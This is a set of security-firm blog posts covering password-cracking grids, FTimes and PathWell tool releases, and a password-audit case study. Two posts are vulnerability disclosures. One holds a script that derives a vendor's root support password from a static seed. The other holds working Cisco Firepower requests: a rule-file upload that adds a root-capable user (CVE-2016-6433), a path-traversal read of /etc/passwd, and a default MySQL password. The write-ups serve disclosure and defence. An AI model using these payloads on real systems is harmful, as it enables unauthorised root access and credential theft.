Whether you elect to audit your own passwords or engage an external firm, like KoreLogic, to provide that service for you, it stands to reason that the audit or any aspect of it should not increase your level of exposure or risk simply because you had it done. Therefore, the process and systems used to conduct the audit are at least as important as the raw data and final results. You certainly wouldn't want the source of a data breach to be sensitive data handled poorly, transferred in a compromising way, or stored in the clear on unsecured systems. No, you'd want assurance that things are going to be done right (i.e., securely and with high degree of care and attention to detail).

Since KoreLogic is a security company, we take security seriously. While no one can be 100% secure, we strive towards that goal on a daily basis. In fact, the majority of our effort is spent ensuring that the Grid continues to function in spite of the unique challenges posed by things like system hardening, full disk encryption, network- and host-based firewalls, transport layer security, mutual authentication, digitally-signed jobs, privilege separation, data segregation, and keeping things under our exclusive control (i.e., no cloud providers). That last item deserves a bit more discussion. Even though cracking in the cloud, at first glance, sounds like an attractive, inexpensive, and convenient option, it would eliminate our ability to maintain a level of security and control to our standards, and that's a risk that we're not willing to take.

Distributed

A cracking grid should be distributed. Unless you are a three-letter agency or keep a farm of super computers in your basement, you'll need a way to distribute the load. For weak hash algorithms (e.g., LM), this isn't as important, but for strong algorithms (e.g., bcrypt), it's an absolute requirement. Why? Because the amount of time it would take to exhaust the keyspace is beyond our reach. Thus, we are forced to mount targeted attacks (e.g., dictionaries, rules, masks, etc.). The problem is that there are thousands of targeted attacks. In fact, there are many more attacks than a single system (or small cluster of systems) could mount in a short period of time. By distributing the load you can execute more attacks concurrently and avoid potential limiting factors such as insufficient cooling and/or power.

Our Grid is comprised of both GPU- and CPU-based compute nodes spread out over a number of different geographic locations. Since the underlying technology is not tied to a single physical location, compute nodes can be placed anywhere there's adequate physical security, power, cooling, and network connectivity. This makes it extremely easy to add capacity or support custom requests like: "Hey, we have GPU compute nodes in several data centers. Can you guys combine those resources to attack this hash set?"

Scalable

A cracking grid should be scalable. This becomes apparent as soon as you are faced with a need to crack multiple hash sets concurrently or when the number of GPU/CPU cores at your disposal is less than what's needed to get the job done. Oh, you can manage for a while using ad hoc methods, but you will eventually reach a tipping point where your capacity and concurrency requirements can't be met.

Our Grid scales in both ways: capacity and concurrency. New compute nodes can be added at any time to increase capacity. Once added to the Grid through a secure on-boarding process, each GPU/CPU core in the compute node is immediately available as an individual cracking resource. Similarly, new queues can be created at any time to support an increased set of concurrent work orders. As long as at least one core can be assigned to each queue, forward progress can be made.

Extensible

A cracking grid should be extensible. Personally, I'd prefer to find one good cracking solution and stick with it, but in today's ever changing world, that's an idealistic view, at best. Interests change. Solutions come and go; some ebb and flow. GPU models or even brands of choice change, targeted hash types change, reporting requirements change, and so on. Thus, any cracking grid worth its salt must be flexible and readily adapted to keep up with the changing tides.

Our Grid can be extended, with minimal effort, to support new cracking applications and tasks. Originally, the Grid only supported one cracking solution: John the Ripper (JtR). As GPU cracking became a standard part of our practice, integrating support for oclHashcat was simply a matter of creating a handful of new, yet highly-related-to-the-existing-JtR, scripts. When support for cudaHashcat was added, only a few lines of code were changed. When faced with the need to count guesses while cracking for a research collaboration with Carnegie Mellon University, only a small C program and a few minor script changes were needed. In all cases, the same basic framework was used.

Nothing To See Here, Move Along

$
0
0

Vendors often have interesting ways to facilitate support for their appliances. Today, I'll discuss a few ways we have seen it implemented: one that is vulnerable to exploitation and others that aren't so bad.

When we find vulnerabilities doing independent research, we work with the vendors through our disclosure program to attempt to get the issues fixed, and we are free to publish whether or not the vendor addresses the problems. Occasionally while on an engagement for a client, we come across one or more vulnerabilities in third-party platforms. When this happens, we work with our client to inform their vendor in an effort to get the vulnerabilities corrected, and coordinate disclosure.

Usually, vendors are responsive, and our client and other customers of that vendor get the fix. However, it does not always work that way.

In one case, the vendor declined to fix a vulnerability in a remote admin feature, saying that they did not agree it was a vulnerability. Meanwhile our client does agree it is a problem - and thus does not want us to name names because we have no workaround for them (other than "don't use that feature; switch to a more secure product"). I won't be able to discuss what company or product is affected by the vulnerability, but I sure can discuss the problem in the abstract. Also, the vulnerability is still out there as they refused to address it. ;-)

There are a few assumptions that I make during this explanation. The first is that the attacker has access to a non-unique seed, which is baked into every one of these devices. The second is that the attacker knows the name of the vendor support account. Both of these can be obtained through reverse engineering various binaries and scripts on the platform (that's how I got them). The platform was virtualized, and that conveniently allowed me to convert the VMDK into a raw format such that the filesystem could be mounted locally and perused at my leisure.

The next assumption is that the attacker has obtained access to or can generate something called a support code. This code is a value that is generated by a command run on the device, and then communicated by the customer to the vendor. The vendor then uses an algorithm to derive a password from a support code that can subsequently be used to authenticate (over SSH) to a support account on the platform. In the case I discovered, the support account had root privileges.

The vendor denied our submission on the basis that the jailed shell was more-or-less equivalent in capability to a root shell. But the documentation indicates this root access is only for remote support by the vendor - not that anyone with access to a support code, or to the jailed, restricted shell can gain a root shell, install a rootkit or malicious kernel modules, etc. When we have found similar issues in other vendors' appliances, they have considered it significant and swiftly worked to address it.

On to the technical details!

It starts with two user accounts, a non-root user with a custom shell who can sudo some commands, and a support user with uid zero and a regular shell, which only the vendor is expected to be able to access:

# cat /etc/passwd
...
demo:x:1000:1000:demo,,,:/home/demo:/usr/bin/demo_shell
support:x:0:0:support,,,:/home/support:/bin/sh
...
# ls -la /usr/bin/demo_shell
-rwxr-xr-x 1 demo demo 1085 Jul  8 19:28 /usr/bin/demo_shell

Think of the demo user, and their custom shell, as the typical CLI user for an appliance, with a restricted interface that only allows certain specific device management commands. User demo is allowed to sudo some things such as:

# cat /etc/sudoers
...
demo    ALL=(ALL:ALL) NOPASSWD:/usr/sbin/chpasswd -c MD5
...

In the device we tested, the custom shell was a binary, with various features. In this example I show some Python code I have written that simulates (just) the password generation feature we observed. You'll notice the seed value is static, and the input variable is randomly generated using a limited keyspace, uppercase letters; these are representative of the device's code that I reverse engineered. The tested device's maximum length (for both the value and new_pw variable) was less than the value (12) I have chosen.

(For simplicity, I removed a timing feature which required their equivalent of support() to generate the same value for twenty four hours, and which expired the generated password after that. It did add a bit more obscurity to the whole thing, but in the end it didn't save them, and it won't save you either.)

#!/usr/bin/python

from hmac import new as new_hmac
from base64 import b64encode
from random import randrange
from hashlib import sha256
from os import system
from sys import exit

seed = b"ABCDEFGH1234567890"

def support():
	value,letters = "",['A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
	for i in xrange(0x0,0xc):
		value+=letters[randrange(0x0,0x1a)]
	new_pw = b64encode(new_hmac(seed, msg=value, digestmod=sha256).digest())[0x0:0xc]
	system('echo support:%s | /usr/bin/sudo /usr/sbin/chpasswd -c MD5' % (new_pw))
	print "Support code: %s" % (value)
	return

def help():
	print "\tsupport\t-\tEnable technical support."
	print "\tquit\t-\tQuit session."
	return

def main():
	while True:
		try:
			command = raw_input(">")
			if (command == "help"):
				help()
			if (command == "support"):
				support()
			if (command == "quit"):
				exit(0)
		except Exception as e:
			print "Error: %s" % (e)
    print ""
	return

if __name__=="__main__":
	main()

When an end user of the platform needs to request vendor assistance, they simply enable the support shell and are provided with the support code. The attacker must either have access to the demo / low-privilege session to run the command, or somehow get ahold of this value. This could be achieved by reading an email, searching a filesystem, listening in on a phone call, or any other method that would typically work for information gathering.

$ ssh demo@[redacted]
demo@[redacted]'s password:
> help
	support	-	Enable technical support.
	quit	-	Quit session.
> support
Support code: SSGEXKVWJACO
> quit

Once the 'support' option has been selected, the support shell generates a new password and updates the support user's password hash in /etc/shadow (see below).

$ cat shadow-excerpt.txt
support:$1$vJQcV/IW$eQ46wZsawuWuRzXI9zFJK0:16991:0:99999:7:::

So, as an attacker, I need two things. The globally assigned seed value and the support code. With these two pieces of information, I can then generate the password for the support account by simply recreating the same process that the vendor's platform uses.

#!/usr/bin/python

from hmac import new as new_hmac
from hashlib import sha256
from base64 import b64encode

def main():
        print b64encode(new_hmac(b"ABCDEFGH1234567890", msg="SSGEXKVWJACO", digestmod=sha256).digest())[0x0:0xc]
        return

if __name__=="__main__":
        main()

The shadow file can then be cracked to validate that the password generated by the platform matches what I've generated. The target asset can now be logged into as if you were the vendor.

$ john shadow-excerpt.txt
Loaded 1 password hash (FreeBSD MD5 [32/64 X2])
JgsA7zsMg/bq     (support)
guesses: 1  time: 0:00:00:00 100%  c/s: 100  trying: JgsA7zsMg/bq
$ ssh support@[redacted]
support@[redacted]'s password:
support@debian:~#

So, this is obviously a bad idea. How can it be done better? Interestingly enough, having found this got me interested in how other vendors tackle the same problem. I came across one (who deserves props but I won't name them) that utilizes a process that I wasn't able to defeat in the time available. It combined dynamic SSH key generation, an HTTPS API with Certificate Pinning, and reverse SSH Port Forwards.

There is a preconfigured, persistent public key in root's authorized_keys file, for which the vendor's back-end support holds the private key. However, sshd is only accessible from localhost. Each time the 'support' command is run, a new local keypair is generated. The new public key is then sent to a support server at the vendor using an HTTPS API which performs a Certificate Pinning check. The public key is then added to their server's support account (and any previous public key for that device is revoked) running what I assume is a heavily restricted SSHD configuration. An SSH connection is then established to create a reverse port forward on their support server. A support technician can then log into the customer's device remotely. In my opinion, this is a much better approach than the one described above.

We have seen less elaborate systems that were still an improvement over what this device used. For instance, configuring sshd to require multiple authentication methods, such as public-private key plus password. Ship devices with a baked-in public key (and don't include the private key, F5), and use a temporary-password method like what was in place here. That way an attacker cannot gain access without the vendor's private key, and the vendor cannot gain access without the customer enabling support access. Not perfect, but much better, and would require minimal changes to the vendor's builds and workflows.

Anyhow, I wish the vendor in question would have responded differently, but that's life. The ostrich approach is preferred by some organizations.

Virtual Appliance Spelunking

$
0
0

Hello again and welcome back. Today I want to talk about a Sunday I spent reversing the Cisco Firepower Management Console virtual appliance that resulted in multiple CVEs being issued. The tricks I will show have worked on four or five other virtual appliances from other vendors. Results from those are either pending disclosure or have already been reported by other researchers. Either way, this should be something you can easily recreate to find vulnerabilities.

Before I start, normally I am just barely satisfied or outright discouraged by the vendor's response. I want to commend the Cisco team for their rapid response and great communication. They didn't drag their feet nor attempt to prevaricate or downplay the findings (as the below issues all require some level of authenticated access to leverage). Cisco has issued three CVEs for the vulnerabilities we disclosed:

Everything is virtualized nowadays, including appliances. What is great is that most companies who develop appliances will allow trial copies of them to be released. Just Google 'Virtual appliance trial download' and you'll find plenty of targets. I did just that and came across a trial download for the Cisco Firepower Management Console.

(Cisco_Firepower_Management_Center_VMware-6.0.1-1213.tar.gz) = c93e8874bc114bee4ee519f2e361ada52d7fee5f

It contained the following files:

(Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.vmdk) = 20dbf629a1a550e994226692029fbe6d84f33484
(Cisco_Firepower_Management_Center_Virtual_VMware-ESXi-6.0.1-1213.mf) = 4d1f63d597aa9b10d0b79a070455367fa7bf5716
(Cisco_Firepower_Management_Center_Virtual_VMware-ESXi-6.0.1-1213.ovf) = 8a6de8b9433f9b72e1a6561793b21b771069aabe
(Cisco_Firepower_Management_Center_Virtual_VMware-VI-6.0.1-1213.mf) = 61789395ec52e6d0e1f59c9645fa2ea6acf2f719
(Cisco_Firepower_Management_Center_Virtual_VMware-VI-6.0.1-1213.ovf) = be3f21da5375b092be675c171840707785b98389

Once files are extracted from gzip tarball, I converted the vmdk into a raw file.

$ qemu-img convert -f vmdk -O raw Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.vmdk \
	Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw

Next, I review the partitions.

$ fdisk -l Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw

Disk Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw: 250 GiB, 268435456000 bytes, 524288000 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x423b7500

Device                                                                 Boot    Start       End   Sectors   Size Id Type
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw1 *        2048    194559    192512    94M 83 Linux
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw2        194560   2195455   2000896   977M 82 Linux swap / Solaris
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw3       2195456 524287999 522092544   249G  f W95 Ext'd (LBA)
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw5       2197504  10008575   7811072   3.7G 83 Linux
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw6      10008577  17820312   7811736   3.7G 83 Linux
Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw7      17820314 524287999 506467686 241.5G 83 Linux

Now I will go through the file content of each Linux partition until I come across something interesting. Note that fdisk's output is in 512-byte blocks, but the loop offsets below are in bytes, i.e. blocks * 512.

$ umount /mnt/temp_mnt;mount -o ro,loop,offset=1048576 \
	Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw /mnt/temp_mnt/; \
	ls -la /mnt/temp_mnt/
total 9438
drwxrwxr-x  6 root root    1024 Mar 18 18:34 .
drwxr-xr-x 10 root root    4096 Sep  3 01:13 ..
drwxrwxr-x  2 root root    1024 Mar 18 18:32 boot
-rw-r--r--  1 root root     512 Mar 18 18:34 boot.0800
-rw-r--r--  1 root root 4308496 Mar 18 18:32 bzImage-3.10.53-sf.virtual-26
-rw-r--r--  1 root root  113162 Feb 22  2016 coffee.bmp
-rw-r--r--  1 root root     426 Feb 22  2016 coffee.dat
-rw-r--r--  1 root root   22466 Feb 22  2016 debian.bmp
-rw-r--r--  1 root root     423 Feb 22  2016 debian.dat
-rw-r--r--  1 root root   22560 Feb 22  2016 debian-de.bmp
-rw-r--r--  1 root root     426 Feb 22  2016 debian-de.dat
-rw-r--r--  1 root root   31628 Feb 22  2016 debianlilo.bmp
-rw-r--r--  1 root root     435 Feb 22  2016 debianlilo.dat
drwxrwxr-x  2 root root    1024 Mar 18 18:32 grub
-rw-r--r--  1 root root 2614888 Mar 18 18:33 initrd-3.10.53-sf.virtual-26
-rw-r--r--  1 root root   22578 Feb 22  2016 inside.bmp
-rw-r--r--  1 root root     432 Feb 22  2016 inside.dat
drwxrwxr-x  2 root root    1024 Mar 18 18:32 kernels
drwx------  2 root root   12288 Mar 18 18:31 lost+found
-rw-------  1 root root   82944 Mar 18 18:34 map
-rw-r--r--  1 root root    6878 Feb 22  2016 onlyblue.bmp
-rw-r--r--  1 root root     424 Feb 22  2016 onlyblue.dat
lrwxrwxrwx  1 root root      32 Mar 18 18:32 System.map -> System.map-3.10.53-sf.virtual-26
-rw-r--r--  1 root root 2372553 Mar 18 18:32 System.map-3.10.53-sf.virtual-26
-rw-r--r--  1 root root   33192 Feb 22  2016 tuxlogo.bmp
-rw-r--r--  1 root root     423 Feb 22  2016 tuxlogo.dat
$ umount /mnt/temp_mnt;mount -o ro,loop,offset=1125122048 \
	Cisco_Firepower_Management_Center_Virtual_VMware-6.0.1-1213-disk1.raw /mnt/temp_mnt/; \
	ls -la /mnt/temp_mnt/
total 92
drwxr-xr-x 20 root root  4096 Mar 18 18:34 .
drwxr-xr-x 10 root root  4096 Sep  3 01:13 ..
drwxrwxr-x  2 root root  4096 Mar 18 18:33 bin
drwxr-xr-x  2 root root  4096 Mar 18 18:31 boot
drwxr-xr-x  2 root root  4096 Mar 18 18:31 dev
drwxrwxr-x 36 root root  4096 Mar 18 18:34 etc
-rw-r--r--  1 root root     0 Feb 22  2016 .firstboot
drwxr-xr-x  2 root root  4096 Oct  6  1997 home
drwxr-xr-x  5 root root  4096 Mar 18 18:33 lib
drwxrwxr-x  3 root root  4096 Mar 18 18:33 lib64
drwx------  2 root root 16384 Mar 18 18:31 lost+found
drwxr-xr-x  5 root root  4096 Mar 15  2002 mnt
drwxr-xr-x  2 root root  4096 Mar 18 18:34 opt
drwxr-xr-x  2 root root  4096 Mar 18 18:31 proc
-rw-r--r--  1 root root     0 Mar 18 18:33 .reconfigure
drwx------  2 root root  4096 Mar 18 18:34 root
drwxrwxr-x  2 root root  4096 Feb 22  2016 sbin
drwxr-xr-x  2 root root  4096 Mar 18 18:31 sys
drwxrwxrwt  2 root root  4096 Mar 18 18:34 tmp
drwxr-xr-x 19 root root  4096 Dec 14  2015 usr
drwxr-xr-x  2 root root  4096 Mar 18 18:31 var
drwxr-xr-x  2 root root  4096 Mar 18 18:31 Volume

So, partition 1 is /boot, and partition 5 looks like /. After browsing the filesystems a bit, I noticed the www user has a sudoers entry for the useradd binary.

$ grep useradd etc/sudoers
www     ALL = NOPASSWD: /usr/sbin/useradd

Additionally, I noticed that there is a group whose users can execute any command as root. By default, only the admin user can do so.

$ grep ldapgroup etc/sudoers
%ldapgroup ALL = (ALL) ALL
$ grep ldapgroup etc/group
ldapgroup::201:admin

The useradd binary from the appliance has the flag -g which allows you to specify which group to place a newly created user into. It also supports specifying the new user's password hash on the command line.

Usage: useradd [options] LOGIN

Options:
  -b, --base-dir BASE_DIR       base directory for the home directory of the
                                new account
  -c, --comment COMMENT         GECOS field of the new account
  -d, --home-dir HOME_DIR       home directory of the new account
  -D, --defaults                print or change default useradd configuration
  -e, --expiredate EXPIRE_DATE  expiration date of the new account
  -f, --inactive INACTIVE       password inactivity period of the new account
  -g, --gid GROUP               name or ID of the primary group of the new
                                account
[snip]
  -p, --password PASSWORD       encrypted password of the new account
[snip]
Therefore, if I could get the www user to run a specific command I could get root. Here is the command:
sudo useradd -g ldapgroup -p `openssl passwd -1 <password>` <username>

The management web application maintains ten separate security roles. Only two of those roles can update IDS signature rules. The two roles are: Administrator, and Intrusion Administrator. With the exception of the Administrator user, none of these groups afford the user shell access.

Oddly enough, the target appliance uses a shell script to do the IDS rule update. I tried the following:

POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1
[snip]
Cookie: CGISESSID=2ee7e6f19a104f4453e201f26fdbd6f3
[snip]
-----------------------------15519792567789791301241925798
Content-Disposition: form-data; name="file"; filename="exploit.sh"
Content-Type: application/octet-stream

sudo useradd -g ldapgroup -p `openssl passwd -1 korelogic` korelogic
[snip]

HTTP/1.1 200 OK
Date: Fri, 30 Sep 2016 21:43:14 GMT
Server: Apache
Vary: Accept-Encoding
X-Frame-Options: SAMEORIGIN
Content-Length: 49996
Connection: close
Content-Type: text/html; charset=utf-8

[snip]

Everything in the application looked like it had worked out successfully. So, I tried to ssh.

$ ssh korelogic@1.3.3.7
Password:
Last login: Sat Oct  1 02:21:00 2016 from 1.3.3.7

Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved.
Cisco is a registered trademark of Cisco Systems, Inc.
All other trademarks are property of their respective owners.

Cisco Fire Linux OS v6.0.1 (build 37)
Cisco Firepower Management Center for VMWare v6.0.1 (build 1213)

Could not chdir to home directory /Volume/home/korelogic: No such file or directory
korelogic@firepower:/$ sudo su -
Password:
root@firepower:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)

A full exploit can be found here.

This was issued CVE-2016-6433.

I also found a few other noteworthy things during the time I spent playing with the target appliance. There is a report function that contains a local file inclusion vulnerability.

GET /events/reports/view.cgi?download=1&files=../../../etc/passwd%00 HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Cookie: CGISESSID=2ee7e6f19a104f4453e201f26fdbd6f3
Connection: close

HTTP/1.1 200 OK
Date: Fri, 22 Apr 2016 23:58:41 GMT
Server: Apache
Content-Disposition: attachment; filename=passwd
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/octet-stream
Content-Length: 623

root:x:0:0:Operator:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
mysql:x:27:27:MySQL:/var/lib/mysql:/sbin/nologin
nobody:x:99:99:nobody:/:/sbin/nologin
sshd:x:33:33:sshd:/:/sbin/nologin
www:x:67:67:HTTP server:/var/www:/sbin/nologin
sfrna:x:88:88:SF RNA User:/Volume/home/sfrna:/sbin/nologin
snorty:x:90:90:Snorty User:/Volume/home/snorty:/sbin/nologin
sfsnort:x:95:95:SF Snort User:/Volume/home/sfsnort:/sbin/nologin
sfremediation:x:103:103::/Volume/home/remediations:/sbin/nologin
admin:x:100:100::/Volume/home/admin:/bin/sh
casuser:x:101:104:CiscoUser:/var/opt/CSCOpx:/bin/bash

This was issued CVE-2016-6435.

The root acount of a local MySQL database where most everything resides is protected with the password "admin".

root@firepower:/Volume/6.0.1# mysql -u root --password=admin
Warning: Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 23348
Server version: 5.6.24-enterprise-commercial-advanced-log MySQL Enterprise Server - Advanced Edition (Commercial)

Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| Sourcefire         |
| external_data      |
| external_schema    |
| mysql              |
| performance_schema |
| sfsnort            |
+--------------------+
7 rows in set (0.00 sec)

mysql>

This listener is not externally exposed, but still using a static password of 'admin' is not a great idea.

This was issued CVE-2016-6434.

We also found a denial-of-service for the web application management interface. That's not as exciting though, I won't go into details on it here but information regarding it can be found on our advisory page.

That's all I have for now. Thanks for reading!

New LibPathWell Release, and an Updated Talk

$
0
0

A couple of weeks ago we released a PathWell update, version 0.7.0, available here. I had the pleasure of giving a talk about it at RMISC yesterday that highlighted the new features; the slides are here. [PDF warning]

The primary user-visible change in this release is an administrator-configurable hinting engine, to provide different levels of feedback to users whose new password choice is rejected. The hint engine suggests changes to a rejected candidate password which, if adopted by the user, would result in a new password that would be accepted. The amount of detail returned to the user is configurable to a variety of "levels". For example, at medium hint level, the hint engine suggests a randomly-generated topology change such as the one shown below:

### Trying to set a password of 'April2017!'
testuser@foo ~ $ passwd
Changing password for testuser.
Current password:
New password:
Retype new password:
pam_pathwell:
                                            ull lldddds
                                               |       |
  insert a special character ------------------+       |
                                                       |
    insert a digit ------------------------------------+

 This should produce the following topology: ullsllddddsd

passwd: Authentication token manipulation error
passwd: password unchanged
testuser@foo ~ $
At high hint level, the hint engine actually suggests a randomly-modified version of the chosen password. Obviously, the hinting capability must be used with care; an attacker who can shoulder-surf or recover script sessions of users changing their passwords will obtain sensitive information. More details, examples, and caveats are available in my RMISC presentation slides. The hint engine supports multiple output methods; simple text is appropriate for the PAM module. There is also JSON output for use with other front-ends, such as web applications seeking to use PathWell for dynamic password strength enforcement. Currently the hint engine is only enabled for blacklist failures, but we intend to connect it for violations of the other enforcement options of minlev (minimum Levenshtein distance) and maxuse (maximum use count) as well. Less visible changes in this release include some restructuring of the code/API, adding and moving functionality into the core library. This facilitates using libpathwell for things other than PAM, such as integrating into an LDAP server, calling from Java code using JNI, etc. As a result, the PAM module code was reduced and simplified. We also expanded unit test coverage and added two more command-line utilities: pathwell-setuc and pathwell-chkpw. The core and PAM library versions have both been bumped as a result of these changes. Our next steps for the project include the expansion of the hint engine as mentioned above, Perl Compatible Regular Expression (PCRE) blacklist support, and Active Directory (AD) support. We have an AD passfilt.dll version of PathWell in alpha, but since we do not run any production Windows systems, we are looking for organizations that want to help us with larger scale tests. Please contact us at pathwell-project at korelogic.com [PGP key] if you are interested in being a alpha tester, or in using libpathwell in a commercial product.

FTimes 3.12.0 Released

$
0
0
Version 3.12.0 is a minor release of FTimes. Basically, the various changes, enhancements, additions, and bug fixes that have accumulated over the past few years reached critical mass. Some of the noteworthy changes include: a new option for depth-limited mapping/digging, additional encoding/decoding/transformer options/functionality, and support for a number of additional file systems (APFS, AUTOFS, JFFS2, OVERLAYFS, SMB2, UBIFS). Additionally, two new tools, ftimes-srm and ftimes-xpatool, have been added to the project. Finally, this is likely to be the last release in the 3.X branch. Going forward, the project will be setting up a new public-facing code repository (SF discontinued CVS support late in 2017), and all new effort will focus on the 4.X branch.

Building FTimes With Perl

$
0
0

This is a first in a series of blog posts focusing on the open-source tool FTimes. This blog post will demonstrate building FTimes with XMagic and an embedded Perl interpreter. In so doing, FTimes will be able to perform more complex searches by utilizing file hooks.

For this exercise, we will be using Ubuntu Linux as our build environment.

One prerequisite for building FTimes with XMagic requires PCRE and associated development libraries. Users can install this on Ubuntu and other Debian based systems using:

sudo apt-get install libpcre3 libpcre3-dev

Since we are embedding perl into FTimes, the Perl development libraries will also need to be installed:

sudo apt-get install libperl-dev

Next untar the FTimes tarball and change into the ftimes-3.12.0 source directory:

tar -zxf ftimes-3.12.0.tgz
cd ftimes-3.12.0

Create a work directory (e.g., "b" for build). This is where you will build ftimes. We prefer to create/use a separate work directory so that configuration changes can be made easily without disturbing the source directories. It also makes cleanup a breeze (i.e., a simple directory remove restores the project to its original state).

mkdir b
cd b

Next, run the configure script providing it the necessary options for building the Perl interpreter along with all associated FTimes tools.

../configure --with-all-tools --with-perl=`which perl`
make
make install

In the above command the backticks (`) are used via your shell to determine where the perl binary is installed on the build system. The full path to the perl binary (e.g., "/usr/bin/perl") can also be used.

You can now verify that your FTimes executable has been built with Perl embedded in it by running:

ftimes --version
The output should look similar to this:
ftimes 3.12.0 64-bit pcre(8.39),perl(5.28.1),xmagic

Now that Perl has been embedded in the executable, you can use its interpreter to implement file hooks (via the FileHooks control), which incorporate and utilize the KLEL library. Our next blog post in this series will delve into that. We hope you stay tuned.

Building FTimes With Python3

$
0
0

This is the next part in a series of blog posts focusing on the open-source tool FTimes. This blog post will demonstrate building FTimes with XMagic and an embedded Python interpreter. In so doing, FTimes will be able to perform more complex searches by utilizing file hooks.

For this exercise, we will be using Devuan Linux as our build environment.

One prerequisite for building FTimes with XMagic requires PCRE and associated development libraries. Users can install this on Devuan and other Debian based systems using:

sudo apt-get install libpcre3 libpcre3-dev

Note that Python2 can be substituted for Python3, if desired.

Since we are embedding python3 into FTimes, the Python development libraries will also need to be installed:

sudo apt-get install python3-dev

Next untar the FTimes tarball and change into the ftimes-3.12.0 source directory:

tar -zxf ftimes-3.12.0.tgz
cd ftimes-3.12.0

Create a work directory (e.g., "b" for build). This is where you will build ftimes. We prefer to create/use a separate work directory so that configuration changes can be made easily without disturbing the source directories. It also makes cleanup a breeze (i.e., a simple directory remove restores the project to its original state).

mkdir b
cd b

Next, run the configure script providing it the necessary options for building the Python interpreter along with all associated FTimes tools.

../configure --with-all-tools --with-python=`which python3`
make
make install

In the above command the backticks (`) are used via your shell to determine where the python3 binary is installed on the build system. The full path to the python3 binary (e.g., "/usr/bin/python3") can also be used.

You can now verify that your FTimes executable has been built with Python embedded in it by running:

ftimes --version
The output should look similar to this:
ftimes 3.12.0 64-bit pcre(8.39),python(3.5.3),xmagic

Now that Python has been embedded in the executable, you can use its interpreter to implement file hooks (via the FileHooks control), which incorporate and utilize the KLEL library. An upcoming blog post in this series will delve into that. We hope you stay tuned.

Password Audits – Focus on the Admins

$
0
0

Have you considered adding periodic password audits to your corporate security plan? Compared to the cost of a security breach or standard pentest, periodic password audits are relatively inexpensive (e.g., on the order of $7K/quarter for a single medium-sized domain), yet they shed light on an important aspect of security that management has little ability to control: the passwords that administrators and end users choose.

In this article, I discuss the impact of weekly audits on chosen admin passwords over a 4-year period.

In Cracking Grid – Essential Attributes, I asserted that "it shouldn't take much to convince you that user credentials (and password hashes by extension) are highly sought after items". While any given username/password pair can present a toehold opportunity (e.g., a machine here, a few resources there, etc.), an administrative-level username/password pair often presents a complete and unparalleled takeover opportunity. As a security professional, it should be one of your worst nightmares.

But what can you do about it? You've defined a corporate password policy; you've stressed the importance of creating complex passwords; and yet, you have no idea where you really stand when it comes to password security.

One answer is periodic password audits ... Why? Below are a number of reasons you should consider.

  • They give you a sense of how resistant company passwords are to focused, time-limited attacks.
  • They can reveal policy gaps/violations (e.g., short passwords, not enough character diversity, etc.).
  • They can reveal behavioral patterns that would otherwise go unnoticed (e.g., use of company name or other corporate culture isms during password creation).
  • They can reveal procedural patterns that degrade security (e.g., helpdesk setting pattern-based, weak, default, or even empty passwords).
  • They can reveal accounts that share a common password (e.g., system/service accounts, accounts whose passwords were reset, unused/dormant accounts, etc.).
  • They can aid in detecting users circumventing password reuse restrictions (e.g., across domains, between admin/non-admin accounts used by the same individual, history violations, etc.).
  • They allow you prove that a user's password is weak/guessable even when that user insists his/her password is "strong".
  • They allow you to collect metrics, measure progress, and determine if you are trending in the right direction(s).
  • They allow you develop a more effective training program (e.g., by identifying those who need the most attention, making it possible to target the most common mistakes, increasing data breach awareness, etc.).

The graph below quite aptly shows the impact of weekly audits on chosen admin passwords over a 4-year period for a single corporate domain (code name "ACME"), and since our client elected to conduct weekly audits, the resolution achieved in the dataset is exceptional. For example, it's evident that the password recovery rate is in an overall downtrend (from approximately 75% to single digits). Additionally, it's clear that the trend is not linear. Note how the recovery rate dropped sharply from from 75% to 50% in first weeks of 2015, but it took almost 2 years to fall below 25%, and another 2 years to approach zero. The ride down was bumpy as well (i.e., there are visible ups and downs from week to week as admins sought to create passwords that would withstand our attacks and we sought to improve the effectiveness of our cracking grid).

Is a picture worth a thousand words? Maybe. Maybe not. But in this particular case, it's worth knowing that 75+ admins have passwords strong enough to withstand KoreLogic's weekly pounding, and that should help take the edge off that nightmare you've been having.

Unpatched Fringe Infrastructure Bits

$
0
0

